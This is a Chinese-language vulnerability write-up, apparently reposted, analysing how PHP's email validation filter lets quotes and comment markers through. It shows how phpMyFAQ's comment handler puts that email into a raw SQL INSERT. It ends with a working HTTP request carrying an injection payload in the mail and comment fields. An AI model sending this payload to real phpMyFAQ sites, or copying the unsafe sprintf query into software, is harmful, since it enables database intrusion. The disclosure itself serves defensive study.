PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL

栏目: PHP · 发布时间: 7年前

内容简介:去年遇到一套这个程序而挖的, 主要也就是因为开发者过于的相信PHP自带的FILTER_VALIDATE_EMAIL邮箱验证。在使用了filter_var($email,FILTER_VALIDATE_EMAIL);验证邮箱后, 没有进一步做处理 直接格式化字符串进了sql语句导致了注入。

去年遇到一套这个程序而挖的, 主要也就是因为开发者过于的相信 PHP 自带的FILTER_VALIDATE_EMAIL邮箱验证。

在使用了filter_var($email,FILTER_VALIDATE_EMAIL);

验证邮箱后, 没有进一步做处理 直接格式化字符串进了 sql 语句导致了注入。

FILTER_VALIDATE_EMAIL

本地调试版本: PHP5.4.5

首先来看看PHP的filter_var($email,FILTER_VALIDATE_EMAIL);是如何来验证邮箱是否合法的。

https://github.com/php-src/php/blob/2b86a89193c151b5e9b098cc9aa8411abd7f30ea/ext/filter/filter.c

PHP_FUNCTION(filter_var)
{
	zend_long filter = FILTER_DEFAULT;
	zval *filter_args = NULL, *data;

	if (zend_parse_parameters(ZEND_NUM_ARGS(), "z/|lz", &data, &filter, &filter_args) == FAILURE) {
		return;
	}

	if (!PHP_FILTER_ID_EXISTS(filter)) {
		RETURN_FALSE;
	}

	ZVAL_DUP(return_value, data);

	php_filter_call(return_value, filter, filter_args, 1, FILTER_REQUIRE_SCALAR);
}

php_filter_call里调用php_zval_filter,

static void php_filter_call(zval *filtered, zend_long filter, zval *filter_args,const int copy, zend_long filter_flags)/* {{{ */
{       ...
    php_zval_filter(filtered, filter, filter_flags, options,    charset, copy);
    ...
}
static void php_zval_filter(zval *value, zend_long filter, zend_long flags, zval *options,char* charset, zend_bool copy)/* {{{ */
{
	filter_list_entry  filter_func;

	filter_func = php_find_filter(filter);

	if (!filter_func.id) {
		/* Find default filter */
		filter_func = php_find_filter(FILTER_DEFAULT);
	}

	if (copy) {
		SEPARATE_ZVAL(value);
	}
   ......
	convert_to_string(value);

	filter_func.function(value, flags, options, charset);

根据id, 查找到filter_func, 然后调用指定的方法。

PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL

filter_var第二个参数为FILTER_VALIDATE_EMAIL时, 调用的是 php_filter_validate_email方法。

https://github.com/php-src/php/blob/PHP-5.4.5/ext/filter/logical_filters.c

void php_filter_validate_email(PHP_INPUT_FILTER_PARAM_DECL)
{
	const char regexp[] = "/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD";

	pcre       *re = NULL;
	pcre_extra *pcre_extra = NULL;
	int preg_options = 0;
	int         ovector[150]; /* Needs to be a multiple of 3 */
	int         matches;


	/* The maximum length of an e-mail address is 320 octets, per RFC 2821. */
	if (Z_STRLEN_P(value) > 320) {
		RETURN_VALIDATION_FAILED
	}

	re = pcre_get_compiled_regex((char *)regexp, &pcre_extra, &preg_options TSRMLS_CC);
	if (!re) {
		RETURN_VALIDATION_FAILED
	}
	matches = pcre_exec(re, NULL, Z_STRVAL_P(value), Z_STRLEN_P(value), 0, 0, ovector, 3);

	/* 0 means that the vector is too small to hold all the captured substring offsets */
	if (matches < 0) {
		RETURN_VALIDATION_FAILED
	}
}

去年提交这个漏洞的时候, 一直不知道怎么才能插入括号, 那时候用的双参数拼接的方法注入。

不过看这正则可以发现,

如果email的local part不以双引号开头和结尾, 允许的字符为

\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E

如果以双引号开头和结尾, 允许的字符为

\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F

且如果前面的字符为\x5c, 后面紧跟的字符允许范围为 \x00-\x7F。

在local part以双引号开头和结尾这种情况中, 括号\x28 \x29在允许的字符范围内, 所以可以把括号写到双引号中。

虽然php_filter_validate_email允许邮箱最长为320个字符, 但是local part被正则限制到最多64个字符。

漏洞分析

(直接复制当初的邮件了~~~)

In the latest version of phpMyFAQ, there is a SQL Injection vulnerability in ajaxservice.php.

case 'savecomment':

if (!$faqConfig->get('records.allowCommentsForGuests') && !$user->perm->checkRight($user->getUserId(), 'addcomment')) { 
    $message = array('error' => $PMF_LANG['err_NotAuth']);
    break; 
}

$faq = new PMF_Faq($faqConfig); 
$oComment = new PMF_Comment($faqConfig); 
$category = new PMF_Category($faqConfig); 
$type = PMF_Filter::filterInput(INPUT_POST, 'type', FILTER_SANITIZE_STRING); 
$faqid = PMF_Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0); 
$newsid = PMF_Filter::filterInput(INPUT_POST, 'newsid', FILTER_VALIDATE_INT); 
$username = PMF_Filter::filterInput(INPUT_POST, 'user', FILTER_SANITIZE_STRING); 
$mail = PMF_Filter::filterInput(INPUT_POST, 'mail', FILTER_VALIDATE_EMAIL); 
$comment = PMF_Filter::filterInput(INPUT_POST, 'comment_text', FILTER_SANITIZE_SPECIAL_CHARS);

The email variable uses FILTER_VALIDATE_EMAIL to validate, but FILTER_VALIDATE_EMAIL filter cannot completely prevent SQL Injection. With this filter, single quotes and some special characters can still be used, that’s enough for SQL Injection.

$commentData = [ 
    'record_id' => $id, 
    'type' => $type, 
    'username' => $username, 
    'usermail' => $mail, 
    'comment' => nl2br($comment), 
    'date' => $_SERVER['REQUEST_TIME'], 
    'helped' => '',
    ];

The mail variable is loaded into the commentData variable,

$oComment->addComment($commentData)

and the commentData variable is inserted into the database directly, thus leads to SQL Injection vulnerability.

public function addComment(Array $commentData)
{
    $query = sprintf("
    INSERT INTO 
        %sfaqcomments 
    VALUES 
        (%d, %d, '%s', '%s', '%s', '%s', %d,'%s')",
    PMF_Db::getTablePrefix(), $this->config->getDb()->nextId(PMF_Db::getTablePrefix().'faqcom ments','id_comment'), 
    $commentData['record_id'], 
    $commentData['type'], 
    $commentData['username'], 
    $commentData['usermail'], 
    $commentData['comment'], 
    $commentData['date'], 
    $commentData['helped']
);
if (!$this->config->getDb()->query($query)) { 
    return false; 
}

return true;
}

test the phpMyFAQ demo.

Firstly, add a question and got the question id.

http://denholm.demo.phpmyfaq.de/index.php?sid=620&lang=zh&action=add&cat=2

Secondly ,

POST /ajaxservice.php?action=savecomment HTTP/1.1 
Host: denholm.demo.phpmyfaq.de 
Proxy-Connection: keep-alive 
Content-Length: 135 
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://denholm.demo.phpmyfaq.de 
X-Requested-With: XMLHttpRequest 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit /537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 
Content-Type: application/x-www-form-urlencoded;charset=UTF-8 
Referer: http://denholm.demo.phpmyfaq.de/index.php?action=artikel&cat=1&id=2&artlang=zh 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,it;q=0.4

id=5⟨=zh&type=faq&user=xiaoyu111&mail=xiaoyu1~'/*11~%40qq.com&comment_text=*/,(select user()),1500351093,null)#&captcha=OMSNS9

PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

Fluent Python

Fluent Python

Luciano Ramalho / O'Reilly Media / 2015-8-20 / USD 39.99

Learn how to write idiomatic, effective Python code by leveraging its best features. Python's simplicity quickly lets you become productive with it, but this often means you aren’t using everything th......一起来看看 《Fluent Python》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具